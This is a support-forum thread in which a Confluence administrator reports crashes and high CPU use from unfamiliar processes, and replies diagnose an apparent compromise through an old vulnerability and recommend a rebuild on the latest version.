Confluence stops after few minutes and processor spikes

[Sorel @ Inventiff.]

Hi,

Confluence is stopping every few minutes and after this is happening I have a process owned by confluence1 with command  ./kpsmoseds that use 394% of CPU and a command [khungtaskd] that use 63.10 of CPU

Any suggestions?

Thank you!

I just found this

in /var/spoo/cron/confluence1

Hi Sorel @ Inventiff. , 

your Confluence server has been compromised because you might be running an older version of Confluence that has a security issue : https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

If possible you should stop this server and only backup your Confluence data, and restore it on a new server with the latest Confluence version.

Thank you!

Do I need to start the whole installing process?

Is there any way to just update it?

Hi Sorel @ Inventiff. , 

can you have a look at your catalina.out log and see if there are any lines starting with ERROR ? It would be useful to see why the process stops after only a few minutes.

Can you also give more information on how much memory and CPU your server has ? 

Thanks,
